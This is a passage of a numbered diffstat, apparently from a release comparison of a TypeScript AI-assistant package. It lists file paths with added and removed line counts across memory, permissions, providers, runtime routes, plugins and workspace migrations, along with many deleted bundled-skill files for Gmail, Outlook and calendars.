  501. package/src/media/image-credentials.ts +73 -0
  502. package/src/media/image-service.ts +85 -0
  503. package/src/media/openai-image-service.ts +131 -0
  504. package/src/media/types.ts +46 -0
  505. package/src/memory/__tests__/conversation-analyze-job.test.ts +9 -8
  506. package/src/memory/__tests__/conversation-group-migration.test.ts +99 -0
  507. package/src/memory/admin.ts +18 -0
  508. package/src/memory/conversation-analyze-job.ts +14 -13
  509. package/src/memory/conversation-attention-store.ts +13 -6
  510. package/src/memory/conversation-crud.ts +133 -3
  511. package/src/memory/conversation-group-migration.ts +38 -6
  512. package/src/memory/conversation-queries.ts +57 -4
  513. package/src/memory/conversation-title-service.ts +32 -4
  514. package/src/memory/db-init.ts +10 -0
  515. package/src/memory/embedding-backend.ts +1 -1
  516. package/src/memory/embedding-gemini.test.ts +41 -2
  517. package/src/memory/embedding-gemini.ts +6 -1
  518. package/src/memory/graph/bootstrap.test.ts +282 -0
  519. package/src/memory/graph/bootstrap.ts +8 -5
  520. package/src/memory/graph/compaction.ts +299 -0
  521. package/src/memory/graph/consolidation.ts +4 -4
  522. package/src/memory/graph/conversation-graph-memory.ts +89 -29
  523. package/src/memory/graph/extraction.test.ts +272 -2
  524. package/src/memory/graph/extraction.ts +183 -53
  525. package/src/memory/graph/graph-search.test.ts +93 -0
  526. package/src/memory/graph/graph-search.ts +4 -1
  527. package/src/memory/graph/inspect.ts +2 -2
  528. package/src/memory/graph/narrative.ts +2 -2
  529. package/src/memory/graph/pattern-scan.ts +2 -2
  530. package/src/memory/graph/retriever.test.ts +459 -0
  531. package/src/memory/graph/retriever.ts +237 -48
  532. package/src/memory/graph/store.ts +41 -0
  533. package/src/memory/graph/tool-handlers.ts +27 -0
  534. package/src/memory/graph/tools.ts +6 -1
  535. package/src/memory/indexer.ts +5 -5
  536. package/src/memory/job-handlers/conversation-starters.ts +23 -20
  537. package/src/memory/job-handlers/summarization.ts +2 -2
  538. package/src/memory/job-utils.ts +7 -1
  539. package/src/memory/jobs/embed-pkb-file.test.ts +168 -0
  540. package/src/memory/jobs/embed-pkb-file.ts +54 -0
  541. package/src/memory/jobs-store.ts +44 -3
  542. package/src/memory/jobs-worker.ts +4 -0
  543. package/src/memory/migrations/041-approval-prompt-ts-tracker.ts +26 -0
  544. package/src/memory/migrations/140-backfill-usage-cache-accounting.ts +1 -1
  545. package/src/memory/migrations/149-oauth-tables.ts +1 -0
  546. package/src/memory/migrations/220-normalize-user-file-by-principal.ts +2 -2
  547. package/src/memory/migrations/222-strip-placeholder-sentinels-from-messages.ts +82 -0
  548. package/src/memory/migrations/223-schedule-script-column.ts +11 -0
  549. package/src/memory/migrations/224-oauth-providers-managed-service-is-paid.ts +24 -0
  550. package/src/memory/migrations/225-oauth-providers-available-scopes.ts +13 -0
  551. package/src/memory/migrations/index.ts +5 -0
  552. package/src/memory/pkb/pkb-index.test.ts +369 -0
  553. package/src/memory/pkb/pkb-index.ts +255 -0
  554. package/src/memory/pkb/pkb-reconcile.test.ts +252 -0
  555. package/src/memory/pkb/pkb-reconcile.ts +148 -0
  556. package/src/memory/pkb/pkb-search.test.ts +499 -0
  557. package/src/memory/pkb/pkb-search.ts +159 -0
  558. package/src/memory/pkb/types.ts +53 -0
  559. package/src/memory/qdrant-client.test.ts +60 -0
  560. package/src/memory/qdrant-client.ts +147 -1
  561. package/src/memory/schema/infrastructure.ts +1 -0
  562. package/src/memory/schema/oauth.ts +4 -1
  563. package/src/memory/slack-thread-store.ts +37 -0
  564. package/src/messaging/providers/gmail/adapter.ts +6 -16
  565. package/src/messaging/providers/gmail/client.ts +22 -0
  566. package/src/messaging/providers/gmail/types.ts +7 -0
  567. package/src/messaging/providers/slack/adapter.ts +14 -2
  568. package/src/messaging/providers/slack/backfill.test.ts +257 -0
  569. package/src/messaging/providers/slack/backfill.ts +101 -0
  570. package/src/messaging/providers/slack/message-metadata.test.ts +316 -0
  571. package/src/messaging/providers/slack/message-metadata.ts +123 -0
  572. package/src/messaging/providers/slack/render-transcript.test.ts +1421 -0
  573. package/src/messaging/providers/slack/render-transcript.ts +501 -0
  574. package/src/messaging/style-analyzer.ts +5 -2
  575. package/src/notifications/README.md +9 -5
  576. package/src/notifications/conversation-pairing.ts +78 -19
  577. package/src/notifications/copy-composer.ts +0 -5
  578. package/src/notifications/decision-engine.ts +3 -9
  579. package/src/notifications/emit-signal.ts +1 -1
  580. package/src/notifications/preference-extractor.ts +2 -6
  581. package/src/notifications/signal.ts +1 -2
  582. package/src/oauth/AGENTS.md +1 -1
  583. package/src/oauth/__tests__/identity-verifier.test.ts +2 -1
  584. package/src/oauth/connect-orchestrator.ts +8 -34
  585. package/src/oauth/connect-types.ts +6 -10
  586. package/src/oauth/manual-token-connection.ts +23 -0
  587. package/src/oauth/oauth-store.ts +31 -14
  588. package/src/oauth/platform-connection.test.ts +47 -0
  589. package/src/oauth/platform-connection.ts +15 -5
  590. package/src/oauth/provider-serializer.ts +6 -1
  591. package/src/oauth/seed-providers.ts +56 -106
  592. package/src/outbound-proxy/http-forwarder.ts +9 -0
  593. package/src/permissions/approval-policy.test.ts +1223 -0
  594. package/src/permissions/approval-policy.ts +309 -0
  595. package/src/permissions/arg-parser.test.ts +161 -0
  596. package/src/permissions/arg-parser.ts +141 -0
  597. package/src/permissions/bash-risk-classifier.test.ts +1620 -0
  598. package/src/permissions/bash-risk-classifier.ts +950 -0
  599. package/src/permissions/checker.ts +348 -711
  600. package/src/permissions/command-registry.test.ts +774 -0
  601. package/src/permissions/command-registry.ts +1005 -0
  602. package/src/permissions/defaults.ts +28 -79
  603. package/src/permissions/file-risk-classifier.test.ts +535 -0
  604. package/src/permissions/file-risk-classifier.ts +274 -0
  605. package/src/permissions/gateway-threshold-reader.ts +196 -0
  606. package/src/permissions/prompter.ts +4 -0
  607. package/src/permissions/risk-types.ts +262 -0
  608. package/src/permissions/schedule-risk-classifier.test.ts +129 -0
  609. package/src/permissions/schedule-risk-classifier.ts +85 -0
  610. package/src/permissions/secret-prompter.ts +53 -2
  611. package/src/permissions/shell-identity.ts +2 -42
  612. package/src/permissions/skill-risk-classifier.test.ts +311 -0
  613. package/src/permissions/skill-risk-classifier.ts +214 -0
  614. package/src/permissions/trust-client.ts +52 -25
  615. package/src/permissions/trust-store-interface.ts +1 -6
  616. package/src/permissions/trust-store.ts +161 -62
  617. package/src/permissions/types.ts +25 -14
  618. package/src/permissions/web-risk-classifier.test.ts +170 -0
  619. package/src/permissions/web-risk-classifier.ts +89 -0
  620. package/src/permissions/workspace-policy.ts +9 -19
  621. package/src/platform/client.ts +19 -1
  622. package/src/plugins/defaults/circuit-breaker.ts +146 -0
  623. package/src/plugins/defaults/compaction.ts +145 -0
  624. package/src/plugins/defaults/empty-response.ts +126 -0
  625. package/src/plugins/defaults/history-repair.ts +85 -0
  626. package/src/plugins/defaults/index.ts +116 -0
  627. package/src/plugins/defaults/injectors.ts +491 -0
  628. package/src/plugins/defaults/llm-call.ts +82 -0
  629. package/src/plugins/defaults/memory-retrieval.ts +226 -0
  630. package/src/plugins/defaults/overflow-reduce.ts +181 -0
  631. package/src/plugins/defaults/persistence.ts +129 -0
  632. package/src/plugins/defaults/title-generate.ts +95 -0
  633. package/src/plugins/defaults/token-estimate.ts +104 -0
  634. package/src/plugins/defaults/tool-error.ts +126 -0
  635. package/src/plugins/defaults/tool-execute.ts +89 -0
  636. package/src/plugins/defaults/tool-result-truncate.ts +88 -0
  637. package/src/plugins/pipeline.ts +316 -0
  638. package/src/plugins/plugin-skill-contributions.ts +292 -0
  639. package/src/plugins/registry.ts +241 -0
  640. package/src/plugins/types.ts +1134 -0
  641. package/src/plugins/user-loader.ts +177 -0
  642. package/src/prompts/persona-resolver.ts +3 -3
  643. package/src/prompts/system-prompt.ts +19 -20
  644. package/src/prompts/templates/BOOTSTRAP.md +27 -77
  645. package/src/prompts/templates/SOUL.md +2 -2
  646. package/src/prompts/update-bulletin-job.ts +190 -0
  647. package/src/providers/__tests__/context-overflow-error.test.ts +328 -0
  648. package/src/providers/__tests__/provider-env-vars.test.ts +102 -0
  649. package/src/providers/__tests__/retry-callsite.test.ts +424 -0
  650. package/src/providers/anthropic/client.ts +183 -14
  651. package/src/providers/call-site-routing.ts +71 -0
  652. package/src/providers/gemini/client.ts +65 -2
  653. package/src/providers/managed-proxy/constants.ts +2 -1
  654. package/src/providers/model-catalog.ts +524 -33
  655. package/src/providers/model-intents.ts +4 -4
  656. package/src/providers/openai/chat-completions-provider.ts +57 -1
  657. package/src/providers/openai/responses-provider.ts +86 -9
  658. package/src/providers/openrouter/client.ts +80 -9
  659. package/src/providers/provider-env-vars.ts +56 -0
  660. package/src/providers/provider-send-message.ts +22 -5
  661. package/src/providers/ratelimit.ts +4 -0
  662. package/src/providers/registry.ts +19 -8
  663. package/src/providers/retry.ts +174 -39
  664. package/src/providers/speech-to-text/__tests__/resolve.test.ts +55 -0
  665. package/src/providers/speech-to-text/deepgram-realtime.test.ts +61 -0
  666. package/src/providers/speech-to-text/deepgram-realtime.ts +57 -0
  667. package/src/providers/speech-to-text/google-gemini-live-stream.ts +4 -4
  668. package/src/providers/speech-to-text/provider-catalog.ts +17 -0
  669. package/src/providers/speech-to-text/resolve.ts +7 -0
  670. package/src/providers/speech-to-text/xai-realtime.test.ts +646 -0
  671. package/src/providers/speech-to-text/xai-realtime.ts +821 -0
  672. package/src/providers/speech-to-text/xai.test.ts +155 -0
  673. package/src/providers/speech-to-text/xai.ts +97 -0
  674. package/src/providers/types.ts +93 -3
  675. package/src/runtime/AGENTS.md +27 -18
  676. package/src/runtime/__tests__/agent-wake.test.ts +43 -2
  677. package/src/runtime/__tests__/browser-extension-pair-routes.test.ts +3 -3
  678. package/src/runtime/__tests__/client-registry.test.ts +293 -0
  679. package/src/runtime/__tests__/interactive-ui.test.ts +673 -0
  680. package/src/runtime/agent-wake.ts +63 -22
  681. package/src/runtime/auth/route-policy.ts +4 -0
  682. package/src/runtime/btw-sidechain.ts +13 -3
  683. package/src/runtime/channel-reply-delivery.ts +106 -2
  684. package/src/runtime/client-registry.ts +261 -0
  685. package/src/runtime/decision-token.ts +116 -0
  686. package/src/runtime/gateway-client.ts +2 -2
  687. package/src/runtime/http-router.ts +32 -0
  688. package/src/runtime/http-server.ts +129 -9
  689. package/src/runtime/http-types.ts +23 -3
  690. package/src/runtime/interactive-ui.ts +362 -0
  691. package/src/runtime/invite-instruction-generator.ts +2 -2
  692. package/src/runtime/migrations/__tests__/gcs-signed-url.test.ts +176 -0
  693. package/src/runtime/migrations/__tests__/vbundle-metadata-merge-integration.test.ts +390 -0
  694. package/src/runtime/migrations/__tests__/vbundle-metadata-merge.test.ts +221 -0
  695. package/src/runtime/migrations/__tests__/vbundle-streaming-importer.test.ts +1540 -0
  696. package/src/runtime/migrations/__tests__/vbundle-streaming-validator.test.ts +453 -0
  697. package/src/runtime/migrations/__tests__/vbundle-tar-stream.test.ts +222 -0
  698. package/src/runtime/migrations/gcs-signed-url.ts +162 -0
  699. package/src/runtime/migrations/vbundle-builder.ts +1 -22
  700. package/src/runtime/migrations/vbundle-importer.ts +154 -9
  701. package/src/runtime/migrations/vbundle-metadata-merge.ts +124 -0
  702. package/src/runtime/migrations/vbundle-streaming-importer.ts +2522 -0
  703. package/src/runtime/migrations/vbundle-streaming-validator.ts +244 -0
  704. package/src/runtime/migrations/vbundle-tar-stream.ts +217 -0
  705. package/src/runtime/migrations/vbundle-validator.ts +15 -6
  706. package/src/runtime/routes/__tests__/home-feed-routes.test.ts +111 -0
  707. package/src/runtime/routes/__tests__/migration-import-credential-filter.test.ts +114 -75
  708. package/src/runtime/routes/__tests__/migration-vellum-metadata-reconcile.test.ts +246 -0
  709. package/src/runtime/routes/approval-prompt-ts-tracker.ts +78 -0
  710. package/src/runtime/routes/approval-routes.ts +29 -17
  711. package/src/runtime/routes/approval-strategies/guardian-callback-strategy.ts +9 -0
  712. package/src/runtime/routes/avatar-routes.ts +20 -4
  713. package/src/runtime/routes/browser-extension-pair-routes.ts +27 -8
  714. package/src/runtime/routes/btw-routes.ts +1 -4
  715. package/src/runtime/routes/conversation-management-routes.ts +20 -2
  716. package/src/runtime/routes/conversation-routes.ts +351 -138
  717. package/src/runtime/routes/debug-routes.ts +1 -1
  718. package/src/runtime/routes/diagnostics-routes.ts +6 -4
  719. package/src/runtime/routes/events-routes.ts +16 -0
  720. package/src/runtime/routes/guardian-approval-interception.ts +33 -3
  721. package/src/runtime/routes/guardian-approval-prompt.ts +13 -3
  722. package/src/runtime/routes/home-feed-routes.ts +120 -2
  723. package/src/runtime/routes/inbound-message-handler.ts +987 -2
  724. package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +113 -2
  725. package/src/runtime/routes/inbound-stages/background-dispatch.ts +61 -3
  726. package/src/runtime/routes/inbound-stages/edit-intercept.ts +129 -6
  727. package/src/runtime/routes/integrations/slack/channel.ts +25 -3
  728. package/src/runtime/routes/llm-context-normalization.ts +23 -1
  729. package/src/runtime/routes/memory-item-routes.test.ts +1 -0
  730. package/src/runtime/routes/migration-routes.ts +720 -127
  731. package/src/runtime/routes/playground/__tests__/force-compact.test.ts +284 -0
  732. package/src/runtime/routes/playground/__tests__/guard.test.ts +80 -0
  733. package/src/runtime/routes/playground/__tests__/inject-failures.test.ts +294 -0
  734. package/src/runtime/routes/playground/__tests__/reset-circuit.test.ts +271 -0
  735. package/src/runtime/routes/playground/__tests__/seed-conversation.test.ts +202 -0
  736. package/src/runtime/routes/playground/__tests__/seeded-conversations.test.ts +309 -0
  737. package/src/runtime/routes/playground/__tests__/state.test.ts +224 -0
  738. package/src/runtime/routes/playground/conversation-not-found.ts +29 -0
  739. package/src/runtime/routes/playground/deps.ts +56 -0
  740. package/src/runtime/routes/playground/force-compact.ts +73 -0
  741. package/src/runtime/routes/playground/guard.ts +37 -0
  742. package/src/runtime/routes/playground/index.ts +28 -0
  743. package/src/runtime/routes/playground/inject-failures.ts +159 -0
  744. package/src/runtime/routes/playground/reset-circuit.ts +115 -0
  745. package/src/runtime/routes/playground/seed-conversation.ts +139 -0
  746. package/src/runtime/routes/playground/seeded-conversations.ts +78 -0
  747. package/src/runtime/routes/playground/state.ts +78 -0
  748. package/src/runtime/routes/schedule-routes.ts +89 -8
  749. package/src/runtime/routes/settings-routes.ts +4 -2
  750. package/src/runtime/routes/trust-rules-routes.ts +30 -14
  751. package/src/runtime/routes/work-items-routes.test.ts +1 -1
  752. package/src/runtime/routes/work-items-routes.ts +3 -2
  753. package/src/runtime/services/__tests__/analyze-conversation.test.ts +25 -43
  754. package/src/runtime/services/analyze-conversation.ts +12 -16
  755. package/src/runtime/skill-route-registry.ts +97 -15
  756. package/src/schedule/run-script.ts +68 -0
  757. package/src/schedule/schedule-store.ts +7 -1
  758. package/src/schedule/scheduler.ts +56 -8
  759. package/src/security/__tests__/provider-key-env-fallback.test.ts +119 -0
  760. package/src/security/__tests__/untrusted-content.test.ts +109 -0
  761. package/src/security/oauth2.ts +98 -35
  762. package/src/security/secure-keys.ts +7 -8
  763. package/src/security/token-manager.ts +27 -13
  764. package/src/security/untrusted-content.ts +102 -0
  765. package/src/skills/catalog-cache.ts +35 -9
  766. package/src/skills/catalog-install.ts +31 -3
  767. package/src/skills/skill-cache-store.ts +97 -0
  768. package/src/stt/__tests__/daemon-batch-transcriber.test.ts +76 -0
  769. package/src/stt/daemon-batch-transcriber.ts +33 -0
  770. package/src/stt/stt-stream-session.ts +8 -1
  771. package/src/stt/types.ts +5 -1
  772. package/src/subagent/manager.ts +41 -13
  773. package/src/tasks/ephemeral-permissions.ts +9 -4
  774. package/src/telemetry/usage-telemetry-reporter.ts +27 -5
  775. package/src/tools/browser/__tests__/browser-status.test.ts +234 -2
  776. package/src/tools/browser/browser-execution.ts +150 -54
  777. package/src/tools/browser/cdp-client/__tests__/extension-cdp-client.test.ts +230 -0
  778. package/src/tools/browser/cdp-client/__tests__/factory.test.ts +146 -3
  779. package/src/tools/browser/cdp-client/cdp-inspect/discovery.ts +22 -0
  780. package/src/tools/browser/cdp-client/extension-cdp-client.ts +54 -3
  781. package/src/tools/browser/cdp-client/factory.ts +15 -4
  782. package/src/tools/credentials/tool-policy.ts +39 -5
  783. package/src/tools/credentials/vault.ts +9 -4
  784. package/src/tools/executor.ts +129 -73
  785. package/src/tools/filesystem/write.ts +52 -0
  786. package/src/tools/host-terminal/host-shell.ts +45 -5
  787. package/src/tools/memory/register.test.ts +185 -0
  788. package/src/tools/memory/register.ts +3 -1
  789. package/src/tools/network/script-proxy/session-manager.ts +37 -1
  790. package/src/tools/network/web-fetch.ts +20 -10
  791. package/src/tools/network/web-search.ts +19 -4
  792. package/src/tools/permission-checker.ts +116 -46
  793. package/src/tools/policy-context.ts +29 -8
  794. package/src/tools/registry.ts +195 -6
  795. package/src/tools/schedule/create.ts +23 -8
  796. package/src/tools/schedule/update.ts +3 -1
  797. package/src/tools/secret-detection-handler.ts +0 -51
  798. package/src/tools/side-effects.ts +0 -11
  799. package/src/tools/skills/execute.ts +2 -2
  800. package/src/tools/skills/sandbox-runner.ts +5 -2
  801. package/src/tools/system/avatar-generator.ts +6 -2
  802. package/src/tools/terminal/backends/native.ts +51 -2
  803. package/src/tools/terminal/safe-env.ts +3 -2
  804. package/src/tools/terminal/shell.ts +1 -0
  805. package/src/tools/tool-manifest.ts +6 -21
  806. package/src/tools/types.ts +40 -5
  807. package/src/tools/verification-control-plane-policy.ts +1 -1
  808. package/src/tts/__tests__/provider-adapters.test.ts +240 -13
  809. package/src/tts/provider-catalog.ts +18 -0
  810. package/src/tts/providers/index.ts +2 -0
  811. package/src/tts/providers/xai-provider.ts +224 -0
  812. package/src/tts/types.ts +46 -0
  813. package/src/types/tar-stream.d.ts +66 -0
  814. package/src/util/json.ts +17 -0
  815. package/src/util/platform.ts +9 -4
  816. package/src/util/pricing.ts +41 -8
  817. package/src/watcher/engine.ts +1 -1
  818. package/src/watcher/providers/google-calendar.ts +134 -8
  819. package/src/watcher/providers/outlook-calendar.ts +42 -2
  820. package/src/workspace/git-service.ts +23 -4
  821. package/src/workspace/migrations/006-services-config.ts +2 -4
  822. package/src/workspace/migrations/022-move-hooks-to-workspace.ts +2 -3
  823. package/src/workspace/migrations/038-unify-llm-callsite-configs.ts +516 -0
  824. package/src/workspace/migrations/039-drop-legacy-llm-keys.ts +171 -0
  825. package/src/workspace/migrations/040-seed-latency-callsite-defaults.ts +154 -0
  826. package/src/workspace/migrations/041-backfill-google-gmail-settings-scope.ts +56 -0
  827. package/src/workspace/migrations/042-fix-backfill-google-gmail-settings-scope.ts +70 -0
  828. package/src/workspace/migrations/043-release-notes-latex-rendering.ts +75 -0
  829. package/src/workspace/migrations/044-bump-stale-provider-stream-timeout.ts +51 -0
  830. package/src/workspace/migrations/045-release-notes-meet-avatar.ts +130 -0
  831. package/src/workspace/migrations/046-seed-conversation-starters-callsite.ts +108 -0
  832. package/src/workspace/migrations/047-remove-watch-callsites.ts +54 -0
  833. package/src/workspace/migrations/048-remove-workspace-hooks.ts +81 -0
  834. package/src/workspace/migrations/049-release-notes-default-sonnet.ts +80 -0
  835. package/src/workspace/migrations/050-seed-main-agent-opus-callsite.ts +86 -0
  836. package/src/workspace/migrations/051-seed-conversation-summarization-callsite.ts +128 -0
  837. package/src/workspace/migrations/AGENTS.md +1 -1
  838. package/src/workspace/migrations/registry.ts +28 -0
  839. package/src/workspace/provider-commit-message-generator.ts +19 -38
  840. package/tsconfig.json +1 -1
  841. package/hook-templates/debug-prompt-logger/hook.json +0 -7
  842. package/hook-templates/debug-prompt-logger/run.sh +0 -66
  843. package/src/__tests__/context-overflow-approval.test.ts +0 -156
  844. package/src/__tests__/gmail-archive-fallback.test.ts +0 -193
  845. package/src/__tests__/gmail-archive-gate.test.ts +0 -246
  846. package/src/__tests__/gmail-preferences.test.ts +0 -117
  847. package/src/__tests__/hooks-blocking.test.ts +0 -178
  848. package/src/__tests__/hooks-cli.test.ts +0 -182
  849. package/src/__tests__/hooks-config.test.ts +0 -108
  850. package/src/__tests__/hooks-discovery.test.ts +0 -211
  851. package/src/__tests__/hooks-integration.test.ts +0 -196
  852. package/src/__tests__/hooks-manager.test.ts +0 -226
  853. package/src/__tests__/hooks-runner.test.ts +0 -175
  854. package/src/__tests__/hooks-settings.test.ts +0 -160
  855. package/src/__tests__/hooks-templates.test.ts +0 -169
  856. package/src/__tests__/hooks-ts-runner.test.ts +0 -170
  857. package/src/__tests__/hooks-watch.test.ts +0 -112
  858. package/src/__tests__/notification-schedule-dedup.test.ts +0 -213
  859. package/src/__tests__/oauth-scope-policy.test.ts +0 -180
  860. package/src/__tests__/outlook-attachments.test.ts +0 -301
  861. package/src/__tests__/outlook-automation-tools.test.ts +0 -425
  862. package/src/__tests__/outlook-categories.test.ts +0 -212
  863. package/src/__tests__/outlook-compose-tools.test.ts +0 -325
  864. package/src/__tests__/outlook-declutter-tools.test.ts +0 -585
  865. package/src/__tests__/outlook-follow-up.test.ts +0 -196
  866. package/src/__tests__/outlook-trash.test.ts +0 -77
  867. package/src/__tests__/outlook-unsubscribe.test.ts +0 -279
  868. package/src/__tests__/send-notification-tool.test.ts +0 -83
  869. package/src/__tests__/update-bulletin-format.test.ts +0 -181
  870. package/src/__tests__/update-bulletin-state.test.ts +0 -135
  871. package/src/__tests__/update-bulletin.test.ts +0 -478
  872. package/src/__tests__/update-template-contract.test.ts +0 -29
  873. package/src/cli/commands/doctor.ts +0 -341
  874. package/src/cli/commands/shotgun.ts +0 -266
  875. package/src/config/bundled-skills/browser/SKILL.md +0 -88
  876. package/src/config/bundled-skills/browser/TOOLS.json +0 -516
  877. package/src/config/bundled-skills/browser/tools/browser-attach.ts +0 -12
  878. package/src/config/bundled-skills/browser/tools/browser-click.ts +0 -12
  879. package/src/config/bundled-skills/browser/tools/browser-close.ts +0 -12
  880. package/src/config/bundled-skills/browser/tools/browser-detach.ts +0 -12
  881. package/src/config/bundled-skills/browser/tools/browser-extract.ts +0 -12
  882. package/src/config/bundled-skills/browser/tools/browser-fill-credential.ts +0 -12
  883. package/src/config/bundled-skills/browser/tools/browser-hover.ts +0 -12
  884. package/src/config/bundled-skills/browser/tools/browser-navigate.ts +0 -12
  885. package/src/config/bundled-skills/browser/tools/browser-press-key.ts +0 -12
  886. package/src/config/bundled-skills/browser/tools/browser-screenshot.ts +0 -12
  887. package/src/config/bundled-skills/browser/tools/browser-scroll.ts +0 -12
  888. package/src/config/bundled-skills/browser/tools/browser-select-option.ts +0 -12
  889. package/src/config/bundled-skills/browser/tools/browser-snapshot.ts +0 -12
  890. package/src/config/bundled-skills/browser/tools/browser-status.ts +0 -12
  891. package/src/config/bundled-skills/browser/tools/browser-type.ts +0 -12
  892. package/src/config/bundled-skills/browser/tools/browser-wait-for-download.ts +0 -49
  893. package/src/config/bundled-skills/browser/tools/browser-wait-for.ts +0 -12
  894. package/src/config/bundled-skills/chatgpt-import/SKILL.md +0 -27
  895. package/src/config/bundled-skills/chatgpt-import/TOOLS.json +0 -27
  896. package/src/config/bundled-skills/chatgpt-import/tools/chatgpt-import.ts +0 -378
  897. package/src/config/bundled-skills/conversations/SKILL.md +0 -20
  898. package/src/config/bundled-skills/conversations/TOOLS.json +0 -23
  899. package/src/config/bundled-skills/conversations/tools/rename-conversation.ts +0 -66
  900. package/src/config/bundled-skills/gmail/SKILL.md +0 -221
  901. package/src/config/bundled-skills/gmail/TOOLS.json +0 -588
  902. package/src/config/bundled-skills/gmail/tools/gmail-archive.ts +0 -256
  903. package/src/config/bundled-skills/gmail/tools/gmail-attachments.ts +0 -112
  904. package/src/config/bundled-skills/gmail/tools/gmail-draft.ts +0 -44
  905. package/src/config/bundled-skills/gmail/tools/gmail-filters.ts +0 -81
  906. package/src/config/bundled-skills/gmail/tools/gmail-follow-up.ts +0 -108
  907. package/src/config/bundled-skills/gmail/tools/gmail-forward.ts +0 -146
  908. package/src/config/bundled-skills/gmail/tools/gmail-label.ts +0 -53
  909. package/src/config/bundled-skills/gmail/tools/gmail-outreach-scan.ts +0 -347
  910. package/src/config/bundled-skills/gmail/tools/gmail-preferences-tool.ts +0 -59
  911. package/src/config/bundled-skills/gmail/tools/gmail-preferences.ts +0 -82
  912. package/src/config/bundled-skills/gmail/tools/gmail-send-draft.ts +0 -26
  913. package/src/config/bundled-skills/gmail/tools/gmail-sender-digest.ts +0 -347
  914. package/src/config/bundled-skills/gmail/tools/gmail-trash.ts +0 -29
  915. package/src/config/bundled-skills/gmail/tools/gmail-unsubscribe.ts +0 -122
  916. package/src/config/bundled-skills/gmail/tools/gmail-vacation.ts +0 -67
  917. package/src/config/bundled-skills/gmail/tools/scan-result-store.ts +0 -100
  918. package/src/config/bundled-skills/gmail/tools/shared.ts +0 -47
  919. package/src/config/bundled-skills/google-calendar/SKILL.md +0 -51
  920. package/src/config/bundled-skills/google-calendar/TOOLS.json +0 -226
  921. package/src/config/bundled-skills/google-calendar/calendar-client.ts +0 -223
  922. package/src/config/bundled-skills/google-calendar/tools/calendar-check-availability.ts +0 -27
  923. package/src/config/bundled-skills/google-calendar/tools/calendar-create-event.ts +0 -48
  924. package/src/config/bundled-skills/google-calendar/tools/calendar-get-event.ts +0 -19
  925. package/src/config/bundled-skills/google-calendar/tools/calendar-list-events.ts +0 -36
  926. package/src/config/bundled-skills/google-calendar/tools/calendar-rsvp.ts +0 -58
  927. package/src/config/bundled-skills/google-calendar/tools/shared.ts +0 -17
  928. package/src/config/bundled-skills/google-calendar/types.ts +0 -97
  929. package/src/config/bundled-skills/heartbeat/SKILL.md +0 -43
  930. package/src/config/bundled-skills/notifications/SKILL.md +0 -40
  931. package/src/config/bundled-skills/notifications/TOOLS.json +0 -80
  932. package/src/config/bundled-skills/notifications/tools/send-notification.ts +0 -152
  933. package/src/config/bundled-skills/notifications/tools/shared.ts +0 -13
  934. package/src/config/bundled-skills/outlook/SKILL.md +0 -196
  935. package/src/config/bundled-skills/outlook/TOOLS.json +0 -530
  936. package/src/config/bundled-skills/outlook/tools/outlook-attachments.ts +0 -85
  937. package/src/config/bundled-skills/outlook/tools/outlook-categories.ts +0 -77
  938. package/src/config/bundled-skills/outlook/tools/outlook-draft.ts +0 -84
  939. package/src/config/bundled-skills/outlook/tools/outlook-follow-up.ts +0 -94
  940. package/src/config/bundled-skills/outlook/tools/outlook-forward.ts +0 -49
  941. package/src/config/bundled-skills/outlook/tools/outlook-outreach-scan.ts +0 -237
  942. package/src/config/bundled-skills/outlook/tools/outlook-rules.ts +0 -161
  943. package/src/config/bundled-skills/outlook/tools/outlook-send-draft.ts +0 -32
  944. package/src/config/bundled-skills/outlook/tools/outlook-sender-digest.ts +0 -272
  945. package/src/config/bundled-skills/outlook/tools/outlook-trash.ts +0 -29
  946. package/src/config/bundled-skills/outlook/tools/outlook-unsubscribe.ts +0 -129
  947. package/src/config/bundled-skills/outlook/tools/outlook-vacation.ts +0 -87
  948. package/src/config/bundled-skills/outlook/tools/shared.ts +0 -20
  949. package/src/config/bundled-skills/outlook-calendar/SKILL.md +0 -51
  950. package/src/config/bundled-skills/outlook-calendar/TOOLS.json +0 -221
  951. package/src/config/bundled-skills/outlook-calendar/calendar-client.ts +0 -252
  952. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-check-availability.ts +0 -53
  953. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-create-event.ts +0 -74
  954. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-get-event.ts +0 -18
  955. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-list-events.ts +0 -46
  956. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-rsvp.ts +0 -36
  957. package/src/config/bundled-skills/outlook-calendar/tools/shared.ts +0 -17
  958. package/src/config/bundled-skills/outlook-calendar/types.ts +0 -120
  959. package/src/config/bundled-skills/screen-watch/SKILL.md +0 -27
  960. package/src/config/bundled-skills/screen-watch/TOOLS.json +0 -35
  961. package/src/config/bundled-skills/screen-watch/tools/start-screen-watch.ts +0 -12
  962. package/src/config/bundled-skills/skills-catalog/SKILL.md +0 -84
  963. package/src/config/bundled-skills/slack/SKILL.md +0 -108
  964. package/src/config/bundled-skills/tasks/SKILL.md +0 -37
  965. package/src/config/bundled-skills/tasks/TOOLS.json +0 -353
  966. package/src/config/bundled-skills/tasks/icon.svg +0 -34
  967. package/src/config/bundled-skills/tasks/tools/task-delete.ts +0 -12
  968. package/src/config/bundled-skills/tasks/tools/task-list-add.ts +0 -12
  969. package/src/config/bundled-skills/tasks/tools/task-list-remove.ts +0 -12
  970. package/src/config/bundled-skills/tasks/tools/task-list-show.ts +0 -12
  971. package/src/config/bundled-skills/tasks/tools/task-list-update.ts +0 -12
  972. package/src/config/bundled-skills/tasks/tools/task-list.ts +0 -12
  973. package/src/config/bundled-skills/tasks/tools/task-queue-run.ts +0 -12
  974. package/src/config/bundled-skills/tasks/tools/task-run.ts +0 -12
  975. package/src/config/bundled-skills/tasks/tools/task-save.ts +0 -12
  976. package/src/config/bundled-skills/watcher/SKILL.md +0 -31
  977. package/src/config/bundled-skills/watcher/TOOLS.json +0 -167
  978. package/src/config/bundled-skills/watcher/tools/watcher-create.ts +0 -12
  979. package/src/config/bundled-skills/watcher/tools/watcher-delete.ts +0 -12
  980. package/src/config/bundled-skills/watcher/tools/watcher-digest.ts +0 -12
  981. package/src/config/bundled-skills/watcher/tools/watcher-list.ts +0 -12
  982. package/src/config/bundled-skills/watcher/tools/watcher-update.ts +0 -12
  983. package/src/daemon/context-overflow-approval.ts +0 -52
  984. package/src/daemon/watch-handler.ts +0 -399
  985. package/src/hooks/cli.ts +0 -253
  986. package/src/hooks/config.ts +0 -100
